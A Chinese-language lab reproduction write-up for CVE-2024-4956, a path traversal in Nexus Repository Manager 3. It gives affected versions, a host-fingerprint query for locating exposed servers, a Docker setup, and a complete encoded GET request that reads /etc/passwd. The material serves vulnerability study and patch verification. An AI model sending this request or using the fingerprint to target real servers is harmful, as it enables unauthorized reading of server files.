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62 lines
2.0 KiB
Markdown
62 lines
2.0 KiB
Markdown
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# Nexus Repository Manager 3 未授权目录穿越漏洞 CVE-2024-4956
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## 漏洞描述
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Nexus Repository Manager 3 是一款软件仓库，可以用来存储和分发Maven、NuGET 等软件源仓库。
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其 3.68.0 及之前版本中，存在一处目录穿越漏洞。攻击者可以利用该漏洞读取服务器上任意文件。
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参考链接：
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- https://support.sonatype.com/hc/en-us/articles/29416509323923-CVE-2024-4956-Nexus-Repository-3-Path-Traversal-2024-05-16
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## 漏洞影响
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```
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Sonatype Nexus Repository 3 < 3.68.1
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```
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## 网络测绘
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```
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app="Nexus-Repository-Manager"
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```
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## 环境搭建
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Vulhub 执行如下命令启动一个 Nexus Repository Manager version 3.68.0 版本服务器（内存>4G）：
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```
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docker compose up -d
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```
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环境启动后，访问`http://your-ip:8081`即可看到 Nexus 的默认页面。
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## 漏洞复现
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与 Orange Tsai 在[Blackhat US 2018](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf)分享的 SpringMVC CVE-2018-1271 漏洞类似，Jetty 的`URIUtil.canonicalPath()`函数也将空字符串认为是一个合法目录，导致了该漏洞的产生：
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发送如下请求来复现漏洞：
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```
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GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
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Host: your-ip:8081
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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```
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可见，`/etc/passwd`已被成功读取。
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